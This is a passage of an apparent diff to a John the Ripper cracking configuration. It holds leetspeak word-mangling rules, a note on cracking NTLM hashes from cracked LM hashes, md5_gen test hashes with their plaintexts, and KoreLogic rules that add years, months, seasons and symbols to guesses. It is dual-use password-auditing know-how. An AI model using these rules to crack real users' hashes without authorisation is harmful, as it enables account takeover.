-/SsS$/isi1[:c] -/SsS$/isi![:c] -/SsS$/isi|[:c] -/SsS$/IsI1[:c] -/SsS$/IsI![:c] -/SsS$/IsI|[:c] -/SsS$/lsl1[:c] -/SsS$/lsl7[:c] -/SsS$/lsl|[:c] -/SsS$/lsl![:c] -/SsS$/Lsl1[:c] -/SsS$/Lsl7[:c] -/SsS$/Lsl|[:c] -/SsS$/Lsl![:c] -/SsS$/oso0[:c] -/SsS$/OsO0[:c] -/SsS$/sss$[:c] -/SsS$/sss5[:c] -/SsS$/tst+[:c] -/SsS$/TsT+[:c] -/SsS$/1s1![:c] -/SsS$/1s1i[:c] -/SsS$/1s1I[:c] -/SsS$/1s1|[:c] -/SsS$/0s0o[:c] -/SsS$/0s0O[:c] -/SsS$/3s3e[:c] -/SsS$/3s3E[:c] -/SsS$/4s4a[:c] -/SsS$/4s4A[:c] -/SsS$/5s5s[:c] -/SsS$/5s5S[:c] -/SsS$/7s7l[:c] -/SsS$/7s7L[:c] -/SsS$/8s8b[:c] -/SsS$/8s8B[:c] -/SsS5/asa@[:c] -/SsS5/asa4[:c] -/SsS5/AsA4[:c] -/SsS5/AsA@[:c] -/SsS5/bsb8[:c] -/SsS5/BsB8[:c] -/SsS5/ese3[:c] -/SsS5/EsE3[:c] -/SsS5/isi1[:c] -/SsS5/isi![:c] -/SsS5/isi|[:c] -/SsS5/IsI1[:c] -/SsS5/IsI![:c] -/SsS5/IsI|[:c] -/SsS5/lsl1[:c] -/SsS5/lsl7[:c] -/SsS5/lsl|[:c] -/SsS5/lsl![:c] -/SsS5/Lsl1[:c] -/SsS5/Lsl7[:c] -/SsS5/Lsl|[:c] -/SsS5/Lsl![:c] -/SsS5/oso0[:c] -/SsS5/OsO0[:c] -/SsS5/sss$[:c] -/SsS5/sss5[:c] -/SsS5/tst+[:c] -/SsS5/TsT+[:c] -/SsS5/1s1![:c] -/SsS5/1s1i[:c] -/SsS5/1s1I[:c] -/SsS5/1s1|[:c] -/SsS5/0s0o[:c] -/SsS5/0s0O[:c] -/SsS5/3s3e[:c] -/SsS5/3s3E[:c] -/SsS5/4s4a[:c] -/SsS5/4s4A[:c] -/SsS5/5s5s[:c] -/SsS5/5s5S[:c] -/SsS5/7s7l[:c] -/SsS5/7s7L[:c] -/SsS5/8s8b[:c] -/SsS5/8s8B[:c] -/tst+/asa@[:c] -/tst+/asa4[:c] -/tst+/AsA4[:c] -/tst+/AsA@[:c] -/tst+/bsb8[:c] -/tst+/BsB8[:c] -/tst+/ese3[:c] -/tst+/EsE3[:c] -/tst+/isi1[:c] -/tst+/isi![:c] -/tst+/isi|[:c] -/tst+/IsI1[:c] -/tst+/IsI![:c] -/tst+/IsI|[:c] -/tst+/lsl1[:c] -/tst+/lsl7[:c] -/tst+/lsl|[:c] -/tst+/lsl![:c] -/tst+/Lsl1[:c] -/tst+/Lsl7[:c] -/tst+/Lsl|[:c] -/tst+/Lsl![:c] -/tst+/oso0[:c] -/tst+/OsO0[:c] -/tst+/sss$[:c] -/tst+/sss5[:c] -/tst+/SsS$[:c] -/tst+/SsS5[:c] -/tst+/TsT+[:c] -/tst+/1s1![:c] -/tst+/1s1i[:c] -/tst+/1s1I[:c] -/tst+/1s1|[:c] -/tst+/0s0o[:c] -/tst+/0s0O[:c] -/tst+/3s3e[:c] -/tst+/3s3E[:c] -/tst+/4s4a[:c] -/tst+/4s4A[:c] -/tst+/5s5s[:c] -/tst+/5s5S[:c] -/tst+/7s7l[:c] -/tst+/7s7L[:c] -/tst+/8s8b[:c] -/tst+/8s8B[:c] -/TsT+/asa@[:c] -/TsT+/asa4[:c] -/TsT+/AsA4[:c] -/TsT+/AsA@[:c] -/TsT+/bsb8[:c] -/TsT+/BsB8[:c] -/TsT+/ese3[:c] -/TsT+/EsE3[:c] -/TsT+/isi1[:c] -/TsT+/isi![:c] -/TsT+/isi|[:c] -/TsT+/IsI1[:c] -/TsT+/IsI![:c] -/TsT+/IsI|[:c] -/TsT+/lsl1[:c] -/TsT+/lsl7[:c] -/TsT+/lsl|[:c] -/TsT+/lsl![:c] -/TsT+/Lsl1[:c] -/TsT+/Lsl7[:c] -/TsT+/Lsl|[:c] -/TsT+/Lsl![:c] -/TsT+/oso0[:c] -/TsT+/OsO0[:c] -/TsT+/sss$[:c] -/TsT+/sss5[:c] -/TsT+/SsS$[:c] -/TsT+/SsS5[:c] -/TsT+/tst+[:c] -/TsT+/1s1![:c] -/TsT+/1s1i[:c] -/TsT+/1s1I[:c] -/TsT+/1s1|[:c] -/TsT+/0s0o[:c] -/TsT+/0s0O[:c] -/TsT+/3s3e[:c] -/TsT+/3s3E[:c] -/TsT+/4s4a[:c] -/TsT+/4s4A[:c] -/TsT+/5s5s[:c] -/TsT+/5s5S[:c] -/TsT+/7s7l[:c] -/TsT+/7s7L[:c] -/TsT+/8s8b[:c] -/TsT+/8s8B[:c] -/1s1!/asa@[:c] -/1s1!/asa4[:c] -/1s1!/AsA4[:c] -/1s1!/AsA@[:c] -/1s1!/bsb8[:c] -/1s1!/BsB8[:c] -/1s1!/ese3[:c] -/1s1!/EsE3[:c] -/1s1!/isi1[:c] -/1s1!/isi![:c] -/1s1!/isi|[:c] -/1s1!/IsI1[:c] -/1s1!/IsI![:c] -/1s1!/IsI|[:c] -/1s1!/lsl1[:c] -/1s1!/lsl7[:c] -/1s1!/lsl|[:c] -/1s1!/lsl![:c] -/1s1!/Lsl1[:c] -/1s1!/Lsl7[:c] -/1s1!/Lsl|[:c] -/1s1!/Lsl![:c] -/1s1!/oso0[:c] -/1s1!/OsO0[:c] -/1s1!/sss$[:c] -/1s1!/sss5[:c] -/1s1!/SsS$[:c] -/1s1!/SsS5[:c] -/1s1!/tst+[:c] -/1s1!/TsT+[:c] -/1s1!/0s0o[:c] -/1s1!/0s0O[:c] -/1s1!/3s3e[:c] -/1s1!/3s3E[:c] -/1s1!/4s4a[:c] -/1s1!/4s4A[:c] -/1s1!/5s5s[:c] -/1s1!/5s5S[:c] -/1s1!/7s7l[:c] -/1s1!/7s7L[:c] -/1s1!/8s8b[:c] -/1s1!/8s8B[:c] -/1s1i/asa@[:c] -/1s1i/asa4[:c] -/1s1i/AsA4[:c] -/1s1i/AsA@[:c] -/1s1i/bsb8[:c] -/1s1i/BsB8[:c] -/1s1i/ese3[:c] -/1s1i/EsE3[:c] -/1s1i/isi1[:c] -/1s1i/isi![:c] -/1s1i/isi|[:c] -/1s1i/IsI1[:c] -/1s1i/IsI![:c] -/1s1i/IsI|[:c] -/1s1i/lsl1[:c] -/1s1i/lsl7[:c] -/1s1i/lsl|[:c] -/1s1i/lsl![:c] -/1s1i/Lsl1[:c] -/1s1i/Lsl7[:c] -/1s1i/Lsl|[:c] -/1s1i/Lsl![:c] -/1s1i/oso0[:c] -/1s1i/OsO0[:c] -/1s1i/sss$[:c] -/1s1i/sss5[:c] -/1s1i/SsS$[:c] -/1s1i/SsS5[:c] -/1s1i/tst+[:c] -/1s1i/TsT+[:c] -/1s1i/0s0o[:c] -/1s1i/0s0O[:c] -/1s1i/3s3e[:c] -/1s1i/3s3E[:c] -/1s1i/4s4a[:c] -/1s1i/4s4A[:c] -/1s1i/5s5s[:c] -/1s1i/5s5S[:c] -/1s1i/7s7l[:c] -/1s1i/7s7L[:c] -/1s1i/8s8b[:c] -/1s1i/8s8B[:c] -/1s1I/asa@[:c] -/1s1I/asa4[:c] -/1s1I/AsA4[:c] -/1s1I/AsA@[:c] -/1s1I/bsb8[:c] -/1s1I/BsB8[:c] -/1s1I/ese3[:c] -/1s1I/EsE3[:c] -/1s1I/isi1[:c] -/1s1I/isi![:c] -/1s1I/isi|[:c] -/1s1I/IsI1[:c] -/1s1I/IsI![:c] -/1s1I/IsI|[:c] -/1s1I/lsl1[:c] -/1s1I/lsl7[:c] -/1s1I/lsl|[:c] -/1s1I/lsl![:c] -/1s1I/Lsl1[:c] -/1s1I/Lsl7[:c] -/1s1I/Lsl|[:c] -/1s1I/Lsl![:c] -/1s1I/oso0[:c] -/1s1I/OsO0[:c] -/1s1I/sss$[:c] -/1s1I/sss5[:c] -/1s1I/SsS$[:c] -/1s1I/SsS5[:c] -/1s1I/tst+[:c] -/1s1I/TsT+[:c] -/1s1I/1s1![:c] -/1s1I/1s1i[:c] -/1s1I/1s1|[:c] -/1s1I/0s0o[:c] -/1s1I/0s0O[:c] -/1s1I/3s3e[:c] -/1s1I/3s3E[:c] -/1s1I/4s4a[:c] -/1s1I/4s4A[:c] -/1s1I/5s5s[:c] -/1s1I/5s5S[:c] -/1s1I/7s7l[:c] -/1s1I/7s7L[:c] -/1s1I/8s8b[:c] -/1s1I/8s8B[:c] -/1s1|/asa@[:c] -/1s1|/asa4[:c] -/1s1|/AsA4[:c] -/1s1|/AsA@[:c] -/1s1|/bsb8[:c] -/1s1|/BsB8[:c] -/1s1|/ese3[:c] -/1s1|/EsE3[:c] -/1s1|/isi1[:c] -/1s1|/isi![:c] -/1s1|/isi|[:c] -/1s1|/IsI1[:c] -/1s1|/IsI![:c] -/1s1|/IsI|[:c] -/1s1|/lsl1[:c] -/1s1|/lsl7[:c] -/1s1|/lsl|[:c] -/1s1|/lsl![:c] -/1s1|/Lsl1[:c] -/1s1|/Lsl7[:c] -/1s1|/Lsl|[:c] -/1s1|/Lsl![:c] -/1s1|/oso0[:c] -/1s1|/OsO0[:c] -/1s1|/sss$[:c] -/1s1|/sss5[:c] -/1s1|/SsS$[:c] -/1s1|/SsS5[:c] -/1s1|/tst+[:c] -/1s1|/TsT+[:c] -/1s1|/1s1![:c] -/1s1|/1s1i[:c] -/1s1|/1s1I[:c] -/1s1|/0s0o[:c] -/1s1|/0s0O[:c] -/1s1|/3s3e[:c] -/1s1|/3s3E[:c] -/1s1|/4s4a[:c] -/1s1|/4s4A[:c] -/1s1|/5s5s[:c] -/1s1|/5s5S[:c] -/1s1|/7s7l[:c] -/1s1|/7s7L[:c] -/1s1|/8s8b[:c] -/1s1|/8s8B[:c] -/0s0o/asa@[:c] -/0s0o/asa4[:c] -/0s0o/AsA4[:c] -/0s0o/AsA@[:c] -/0s0o/bsb8[:c] -/0s0o/BsB8[:c] -/0s0o/ese3[:c] -/0s0o/EsE3[:c] -/0s0o/isi1[:c] -/0s0o/isi![:c] -/0s0o/isi|[:c] -/0s0o/IsI1[:c] -/0s0o/IsI![:c] -/0s0o/IsI|[:c] -/0s0o/lsl1[:c] -/0s0o/lsl7[:c] -/0s0o/lsl|[:c] -/0s0o/lsl![:c] -/0s0o/Lsl1[:c] -/0s0o/Lsl7[:c] -/0s0o/Lsl|[:c] -/0s0o/Lsl![:c] -/0s0o/oso0[:c] -/0s0o/OsO0[:c] -/0s0o/sss$[:c] -/0s0o/sss5[:c] -/0s0o/SsS$[:c] -/0s0o/SsS5[:c] -/0s0o/tst+[:c] -/0s0o/TsT+[:c] -/0s0o/1s1![:c] -/0s0o/1s1i[:c] -/0s0o/1s1I[:c] -/0s0o/1s1|[:c] -/0s0o/3s3e[:c] -/0s0o/3s3E[:c] -/0s0o/4s4a[:c] -/0s0o/4s4A[:c] -/0s0o/5s5s[:c] -/0s0o/5s5S[:c] -/0s0o/7s7l[:c] -/0s0o/7s7L[:c] -/0s0o/8s8b[:c] -/0s0o/8s8B[:c] -/0s0O/asa@[:c] -/0s0O/asa4[:c] -/0s0O/AsA4[:c] -/0s0O/AsA@[:c] -/0s0O/bsb8[:c] -/0s0O/BsB8[:c] -/0s0O/ese3[:c] -/0s0O/EsE3[:c] -/0s0O/isi1[:c] -/0s0O/isi![:c] -/0s0O/isi|[:c] -/0s0O/IsI1[:c] -/0s0O/IsI![:c] -/0s0O/IsI|[:c] -/0s0O/lsl1[:c] -/0s0O/lsl7[:c] -/0s0O/lsl|[:c] -/0s0O/lsl![:c] -/0s0O/Lsl1[:c] -/0s0O/Lsl7[:c] -/0s0O/Lsl|[:c] -/0s0O/Lsl![:c] -/0s0O/oso0[:c] -/0s0O/OsO0[:c] -/0s0O/sss$[:c] -/0s0O/sss5[:c] -/0s0O/SsS$[:c] -/0s0O/SsS5[:c] -/0s0O/tst+[:c] -/0s0O/TsT+[:c] -/0s0O/1s1![:c] -/0s0O/1s1i[:c] -/0s0O/1s1I[:c] -/0s0O/1s1|[:c] -/0s0O/3s3e[:c] -/0s0O/3s3E[:c] -/0s0O/4s4a[:c] -/0s0O/4s4A[:c] -/0s0O/5s5s[:c] -/0s0O/5s5S[:c] -/0s0O/7s7l[:c] -/0s0O/7s7L[:c] -/0s0O/8s8b[:c] -/0s0O/8s8B[:c] -/3s3e/asa@[:c] -/3s3e/asa4[:c] -/3s3e/AsA4[:c] -/3s3e/AsA@[:c] -/3s3e/bsb8[:c] -/3s3e/BsB8[:c] -/3s3e/ese3[:c] -/3s3e/EsE3[:c] -/3s3e/isi1[:c] -/3s3e/isi![:c] -/3s3e/isi|[:c] -/3s3e/IsI1[:c] -/3s3e/IsI![:c] -/3s3e/IsI|[:c] -/3s3e/lsl1[:c] -/3s3e/lsl7[:c] -/3s3e/lsl|[:c] -/3s3e/lsl![:c] -/3s3e/Lsl1[:c] -/3s3e/Lsl7[:c] -/3s3e/Lsl|[:c] -/3s3e/Lsl![:c] -/3s3e/oso0[:c] -/3s3e/OsO0[:c] -/3s3e/sss$[:c] -/3s3e/sss5[:c] -/3s3e/SsS$[:c] -/3s3e/SsS5[:c] -/3s3e/tst+[:c] -/3s3e/TsT+[:c] -/3s3e/1s1![:c] -/3s3e/1s1i[:c] -/3s3e/1s1I[:c] -/3s3e/1s1|[:c] -/3s3e/0s0o[:c] -/3s3e/0s0O[:c] -/3s3e/4s4a[:c] -/3s3e/4s4A[:c] -/3s3e/5s5s[:c] -/3s3e/5s5S[:c] -/3s3e/7s7l[:c] -/3s3e/7s7L[:c] -/3s3e/8s8b[:c] -/3s3e/8s8B[:c] -/3s3E/asa@[:c] -/3s3E/asa4[:c] -/3s3E/AsA4[:c] -/3s3E/AsA@[:c] -/3s3E/bsb8[:c] -/3s3E/BsB8[:c] -/3s3E/ese3[:c] -/3s3E/EsE3[:c] -/3s3E/isi1[:c] -/3s3E/isi![:c] -/3s3E/isi|[:c] -/3s3E/IsI1[:c] -/3s3E/IsI![:c] -/3s3E/IsI|[:c] -/3s3E/lsl1[:c] -/3s3E/lsl7[:c] -/3s3E/lsl|[:c] -/3s3E/lsl![:c] -/3s3E/Lsl1[:c] -/3s3E/Lsl7[:c] -/3s3E/Lsl|[:c] -/3s3E/Lsl![:c] -/3s3E/oso0[:c] -/3s3E/OsO0[:c] -/3s3E/sss$[:c] -/3s3E/sss5[:c] -/3s3E/SsS$[:c] -/3s3E/SsS5[:c] -/3s3E/tst+[:c] -/3s3E/TsT+[:c] -/3s3E/1s1![:c] -/3s3E/1s1i[:c] -/3s3E/1s1I[:c] -/3s3E/1s1|[:c] -/3s3E/0s0o[:c] -/3s3E/0s0O[:c] -/3s3E/4s4a[:c] -/3s3E/4s4A[:c] -/3s3E/5s5s[:c] -/3s3E/5s5S[:c] -/3s3E/7s7l[:c] -/3s3E/7s7L[:c] -/3s3E/8s8b[:c] -/3s3E/8s8B[:c] -/4s4a/asa@[:c] -/4s4a/asa4[:c] -/4s4a/AsA4[:c] -/4s4a/AsA@[:c] -/4s4a/bsb8[:c] -/4s4a/BsB8[:c] -/4s4a/ese3[:c] -/4s4a/EsE3[:c] -/4s4a/isi1[:c] -/4s4a/isi![:c] -/4s4a/isi|[:c] -/4s4a/IsI1[:c] -/4s4a/IsI![:c] -/4s4a/IsI|[:c] -/4s4a/lsl1[:c] -/4s4a/lsl7[:c] -/4s4a/lsl|[:c] -/4s4a/lsl![:c] -/4s4a/Lsl1[:c] -/4s4a/Lsl7[:c] -/4s4a/Lsl|[:c] -/4s4a/Lsl![:c] -/4s4a/oso0[:c] -/4s4a/OsO0[:c] -/4s4a/sss$[:c] -/4s4a/sss5[:c] -/4s4a/SsS$[:c] -/4s4a/SsS5[:c] -/4s4a/tst+[:c] -/4s4a/TsT+[:c] -/4s4a/1s1![:c] -/4s4a/1s1i[:c] -/4s4a/1s1I[:c] -/4s4a/1s1|[:c] -/4s4a/0s0o[:c] -/4s4a/0s0O[:c] -/4s4a/3s3e[:c] -/4s4a/3s3E[:c] -/4s4a/5s5s[:c] -/4s4a/5s5S[:c] -/4s4a/7s7l[:c] -/4s4a/7s7L[:c] -/4s4a/8s8b[:c] -/4s4a/8s8B[:c] -/4s4A/asa@[:c] -/4s4A/asa4[:c] -/4s4A/AsA4[:c] -/4s4A/AsA@[:c] -/4s4A/bsb8[:c] -/4s4A/BsB8[:c] -/4s4A/ese3[:c] -/4s4A/EsE3[:c] -/4s4A/isi1[:c] -/4s4A/isi![:c] -/4s4A/isi|[:c] -/4s4A/IsI1[:c] -/4s4A/IsI![:c] -/4s4A/IsI|[:c] -/4s4A/lsl1[:c] -/4s4A/lsl7[:c] -/4s4A/lsl|[:c] -/4s4A/lsl![:c] -/4s4A/Lsl1[:c] -/4s4A/Lsl7[:c] -/4s4A/Lsl|[:c] -/4s4A/Lsl![:c] -/4s4A/oso0[:c] -/4s4A/OsO0[:c] -/4s4A/sss$[:c] -/4s4A/sss5[:c] -/4s4A/SsS$[:c] -/4s4A/SsS5[:c] -/4s4A/tst+[:c] -/4s4A/TsT+[:c] -/4s4A/1s1![:c] -/4s4A/1s1i[:c] -/4s4A/1s1I[:c] -/4s4A/1s1|[:c] -/4s4A/0s0o[:c] -/4s4A/0s0O[:c] -/4s4A/3s3e[:c] -/4s4A/3s3E[:c] -/4s4A/5s5s[:c] -/4s4A/5s5S[:c] -/4s4A/7s7l[:c] -/4s4A/7s7L[:c] -/4s4A/8s8b[:c] -/4s4A/8s8B[:c] -/5s5s/asa@[:c] -/5s5s/asa4[:c] -/5s5s/AsA4[:c] -/5s5s/AsA@[:c] -/5s5s/bsb8[:c] -/5s5s/BsB8[:c] -/5s5s/ese3[:c] -/5s5s/EsE3[:c] -/5s5s/isi1[:c] -/5s5s/isi![:c] -/5s5s/isi|[:c] -/5s5s/IsI1[:c] -/5s5s/IsI![:c] -/5s5s/IsI|[:c] -/5s5s/lsl1[:c] -/5s5s/lsl7[:c] -/5s5s/lsl|[:c] -/5s5s/lsl![:c] -/5s5s/Lsl1[:c] -/5s5s/Lsl7[:c] -/5s5s/Lsl|[:c] -/5s5s/Lsl![:c] -/5s5s/oso0[:c] -/5s5s/OsO0[:c] -/5s5s/sss$[:c] -/5s5s/sss5[:c] -/5s5s/SsS$[:c] -/5s5s/SsS5[:c] -/5s5s/tst+[:c] -/5s5s/TsT+[:c] -/5s5s/1s1![:c] -/5s5s/1s1i[:c] -/5s5s/1s1I[:c] -/5s5s/1s1|[:c] -/5s5s/0s0o[:c] -/5s5s/0s0O[:c] -/5s5s/3s3e[:c] -/5s5s/3s3E[:c] -/5s5s/4s4a[:c] -/5s5s/4s4A[:c] -/5s5s/7s7l[:c] -/5s5s/7s7L[:c] -/5s5s/8s8b[:c] -/5s5s/8s8B[:c] -/5s5S/asa@[:c] -/5s5S/asa4[:c] -/5s5S/AsA4[:c] -/5s5S/AsA@[:c] -/5s5S/bsb8[:c] -/5s5S/BsB8[:c] -/5s5S/ese3[:c] -/5s5S/EsE3[:c] -/5s5S/isi1[:c] -/5s5S/isi![:c] -/5s5S/isi|[:c] -/5s5S/IsI1[:c] -/5s5S/IsI![:c] -/5s5S/IsI|[:c] -/5s5S/lsl1[:c] -/5s5S/lsl7[:c] -/5s5S/lsl|[:c] -/5s5S/lsl![:c] -/5s5S/Lsl1[:c] -/5s5S/Lsl7[:c] -/5s5S/Lsl|[:c] -/5s5S/Lsl![:c] -/5s5S/oso0[:c] -/5s5S/OsO0[:c] -/5s5S/sss$[:c] -/5s5S/sss5[:c] -/5s5S/SsS$[:c] -/5s5S/SsS5[:c] -/5s5S/tst+[:c] -/5s5S/TsT+[:c] -/5s5S/1s1![:c] -/5s5S/1s1i[:c] -/5s5S/1s1I[:c] -/5s5S/1s1|[:c] -/5s5S/0s0o[:c] -/5s5S/0s0O[:c] -/5s5S/3s3e[:c] -/5s5S/3s3E[:c] -/5s5S/4s4a[:c] -/5s5S/4s4A[:c] -/5s5S/7s7l[:c] -/5s5S/7s7L[:c] -/5s5S/8s8b[:c] -/5s5S/8s8B[:c] -/7s7l/asa@[:c] -/7s7l/asa4[:c] -/7s7l/AsA4[:c] -/7s7l/AsA@[:c] -/7s7l/bsb8[:c] -/7s7l/BsB8[:c] -/7s7l/ese3[:c] -/7s7l/EsE3[:c] -/7s7l/isi1[:c] -/7s7l/isi![:c] -/7s7l/isi|[:c] -/7s7l/IsI1[:c] -/7s7l/IsI![:c] -/7s7l/IsI|[:c] -/7s7l/lsl1[:c] -/7s7l/lsl7[:c] -/7s7l/lsl|[:c] -/7s7l/lsl![:c] -/7s7l/Lsl1[:c] -/7s7l/Lsl7[:c] -/7s7l/Lsl|[:c] -/7s7l/Lsl![:c] -/7s7l/oso0[:c] -/7s7l/OsO0[:c] -/7s7l/sss$[:c] -/7s7l/sss5[:c] -/7s7l/SsS$[:c] -/7s7l/SsS5[:c] -/7s7l/tst+[:c] -/7s7l/TsT+[:c] -/7s7l/1s1![:c] -/7s7l/1s1i[:c] -/7s7l/1s1I[:c] -/7s7l/1s1|[:c] -/7s7l/0s0o[:c] -/7s7l/0s0O[:c] -/7s7l/3s3e[:c] -/7s7l/3s3E[:c] -/7s7l/4s4a[:c] -/7s7l/4s4A[:c] -/7s7l/5s5s[:c] -/7s7l/5s5S[:c] -/7s7l/8s8b[:c] -/7s7l/8s8B[:c] -/7s7L/asa@[:c] -/7s7L/asa4[:c] -/7s7L/AsA4[:c] -/7s7L/AsA@[:c] -/7s7L/bsb8[:c] -/7s7L/BsB8[:c] -/7s7L/ese3[:c] -/7s7L/EsE3[:c] -/7s7L/isi1[:c] -/7s7L/isi![:c] -/7s7L/isi|[:c] -/7s7L/IsI1[:c] -/7s7L/IsI![:c] -/7s7L/IsI|[:c] -/7s7L/lsl1[:c] -/7s7L/lsl7[:c] -/7s7L/lsl|[:c] -/7s7L/lsl![:c] -/7s7L/Lsl1[:c] -/7s7L/Lsl7[:c] -/7s7L/Lsl|[:c] -/7s7L/Lsl![:c] -/7s7L/oso0[:c] -/7s7L/OsO0[:c] -/7s7L/sss$[:c] -/7s7L/sss5[:c] -/7s7L/SsS$[:c] -/7s7L/SsS5[:c] -/7s7L/tst+[:c] -/7s7L/TsT+[:c] -/7s7L/1s1![:c] -/7s7L/1s1i[:c] -/7s7L/1s1I[:c] -/7s7L/1s1|[:c] -/7s7L/0s0o[:c] -/7s7L/0s0O[:c] -/7s7L/3s3e[:c] -/7s7L/3s3E[:c] -/7s7L/4s4a[:c] -/7s7L/4s4A[:c] -/7s7L/5s5s[:c] -/7s7L/5s5S[:c] -/7s7L/8s8b[:c] -/7s7L/8s8B[:c] -/8s8b/asa@[:c] -/8s8b/asa4[:c] -/8s8b/AsA4[:c] -/8s8b/AsA@[:c] -/8s8b/bsb8[:c] -/8s8b/BsB8[:c] -/8s8b/ese3[:c] -/8s8b/EsE3[:c] -/8s8b/isi1[:c] -/8s8b/isi![:c] -/8s8b/isi|[:c] -/8s8b/IsI1[:c] -/8s8b/IsI![:c] -/8s8b/IsI|[:c] -/8s8b/lsl1[:c] -/8s8b/lsl7[:c] -/8s8b/lsl|[:c] -/8s8b/lsl![:c] -/8s8b/Lsl1[:c] -/8s8b/Lsl7[:c] -/8s8b/Lsl|[:c] -/8s8b/Lsl![:c] -/8s8b/oso0[:c] -/8s8b/OsO0[:c] -/8s8b/sss$[:c] -/8s8b/sss5[:c] -/8s8b/SsS$[:c] -/8s8b/SsS5[:c] -/8s8b/tst+[:c] -/8s8b/TsT+[:c] -/8s8b/1s1![:c] -/8s8b/1s1i[:c] -/8s8b/1s1I[:c] -/8s8b/1s1|[:c] -/8s8b/0s0o[:c] -/8s8b/0s0O[:c] -/8s8b/3s3e[:c] -/8s8b/3s3E[:c] -/8s8b/4s4a[:c] -/8s8b/4s4A[:c] -/8s8b/5s5s[:c] -/8s8b/5s5S[:c] -/8s8b/7s7l[:c] -/8s8b/7s7L[:c] -/8s8B/asa@[:c] -/8s8B/asa4[:c] -/8s8B/AsA4[:c] -/8s8B/AsA@[:c] -/8s8B/bsb8[:c] -/8s8B/BsB8[:c] -/8s8B/ese3[:c] -/8s8B/EsE3[:c] -/8s8B/isi1[:c] -/8s8B/isi![:c] -/8s8B/isi|[:c] -/8s8B/IsI1[:c] -/8s8B/IsI![:c] -/8s8B/IsI|[:c] -/8s8B/lsl1[:c] -/8s8B/lsl7[:c] -/8s8B/lsl|[:c] -/8s8B/lsl![:c] -/8s8B/Lsl1[:c] -/8s8B/Lsl7[:c] -/8s8B/Lsl|[:c] -/8s8B/Lsl![:c] -/8s8B/oso0[:c] -/8s8B/OsO0[:c] -/8s8B/sss$[:c] -/8s8B/sss5[:c] -/8s8B/SsS$[:c] -/8s8B/SsS5[:c] -/8s8B/tst+[:c] -/8s8B/TsT+[:c] -/8s8B/1s1![:c] -/8s8B/1s1i[:c] -/8s8B/1s1I[:c] -/8s8B/1s1|[:c] -/8s8B/0s0o[:c] -/8s8B/0s0O[:c] -/8s8B/3s3e[:c] -/8s8B/3s3E[:c] -/8s8B/4s4a[:c] -/8s8B/4s4A[:c] -/8s8B/5s5s[:c] -/8s8B/5s5S[:c] -/8s8B/7s7l[:c] -/8s8B/7s7L[:c] -# These are some popular triple/quad l33t rules -/asa4/ese3/lsl1[:c] -/asa4/ese3/oso0[:c] -/asa4/ese3/sss$[:c] -/asa4/lsl1/oso0[:c] -/asa4/lsl1/sss$[:c] -/asa4/oso0/sss$[:c] -/ese3/lsl1/oso0[:c] -/ese3/lsl1/sss$[:c] -/ese3/oso0/sss$[:c] -/lsl1/oso0/sss$[:c] -/asa4/ese3/lsl1/oso0[:c] -/asa4/ese3/lsl1/sss$[:c] -/asa4/ese3/oso0/sss$[:c] -/asa4/lsl1/oso0/sss$[:c] -/ese3/lsl1/oso0/sss$[:c] -/asa4/ese3/lsl1/oso0/sss$[:c] - - - # Case toggler for cracking MD4-based NTLM hashes (with the contributed patch) # given already cracked DES-based LM hashes. @@ -3845,3 +1524,499 @@ Test=md5_gen(1008)ed52af63d8ecf0c682442dfef5f36391$1aDNNojYGSc7pSzcdxKxhbqvLtEe4 Test=md5_gen(1008)4fa1e9d54d89bfbe48b4c0f0ca0a3756$laxcaXPjgcdKdKEbkX1SIjHKm0gfYt1c:thatsworking Test=md5_gen(1008)82568eeaa1fcf299662ccd59d8a12f54$BdWwFsbGtXPGc0H1TBxCrn0GasyAlJBJ:test3 + +[List.Rules:KoreLogicRules] + +;[List.Rules:KoreLogicRulesPrependNumNum] +-[c:] \p[c:] A0"[0-9][0-9]" + +;[List.Rules:KoreLogicRulesPrependYears] +A0"20[0-1][0-9]" +A0"19[3-9][0-9]" + +# Notice: Your wordlist should likely be all lowercase - or you are wasting work +;[List.Rules:KoreLogicRulesAppendYears] +-[c:] \p[c:] Az"19[0-9][0-9]" <+ +-[c:] \p[c:] Az"20[01][0-9]" <+ + +;[List.Rules:KoreLogicRulesPrependNumNumNum] +-[c:] \p[c:] A0"[0-9][0-9][0-9]" + +;[List.Rules:KoreLogicRulesMonthsFullPreface] +-[:c] A0"\p[jJ]anuary" +-[:c] A0"\p[fF]ebruary" +-[:c] A0"\p[mM]arch" +-[:c] A0"\p[aA]pril" +-[:c] A0"\p[mM]ay" +-[:c] A0"\p[jJ]uner" +-[:c] A0"\p[jJ]uly" +-[:c] A0"\p[aA]ugust" +-[:c] A0"\p[sS]eptember" +-[:c] A0"\p[oO]ctober" +-[:c] A0"\p[nN]ovember" +-[:c] A0"\p[dD]ecember" + +;[List.Rules:KoreLogicRulesPrepend4LetterMonths] +## Preface each dictionary with Janu janu Febr febr +-[:c] A0"\p[jJ]anu" +-[:c] A0"\p[fF]ebr" +-[:c] A0"\p[mM]arc" +-[:c] A0"\p[aA]pr" +-[:c] A0"\p[mM]ay" +-[:c] A0"\p[jJ]une" +-[:c] A0"\p[jJ]uly" +-[:c] A0"\p[Aa]ugu" +-[:c] A0"\p[sS]ept" +-[:c] A0"\p[oO]cto" +-[:c] A0"\p[nN]ove" +-[:c] A0"\p[Dd]ece" + +# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic +;[List.Rules:KoreLogicRulesPrependSeason] +A0"[Ss$][uU][mM][mM][eE3][rR]" +A0"[Ww][iI|][nN][tT+][eE3][rR]" +A0"[Ff][aA][lL][lL]" +A0"[Ss][pP][rR][iI][nN][gG]" +A0"[Aa][uU][tT][uU][mM][nN]" + +# Use this rule with 2EVERYTHING.dic or 3EVERYTHING.dic +;[List.Rules:KoreLogicRulesAppendSeason] +<* Az"[Ss$][uU][mM][mM][eE3][rR]" +<* Az"[Ww][iI|][nN][tT+][eE3][rR]" +<* Az"[Ff][aA][lL][lL]" +<* Az"[Ss][pP][rR][iI][nN][gG]" +<* Az"[Aa][uU][tT][uU][mM][nN]" + +;[List.Rules:KoreLogicRulesPrependHello] +A0"[hH][eE][lL][lL][oO0]" + +# Notice how we +# 1) do caps first b/c they are more common in 'complex' environments +# 2) Do !$@#%. first b/c they are the most common special chars +;[List.Rules:KoreLogicRulesAppendCurrentYearSpecial] +-[c:] \p[c:] Az"201[0-9][!$@#%.]" <+ +-[c:] \p[c:] Azq201[0-9][^&()_+\-={}|[\]\\;'":,/<>?`~*]q <+ + +;[List.Rules:KoreLogicRulesPrependSpecialSpecial] +-[c:] \p[c:] A0q[!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*][!$@#%.^&()_+\-={}|[\]\\;'":,/<>?`~*]q + +;[List.Rules:KoreLogicRulesAppend2Letters] +<- 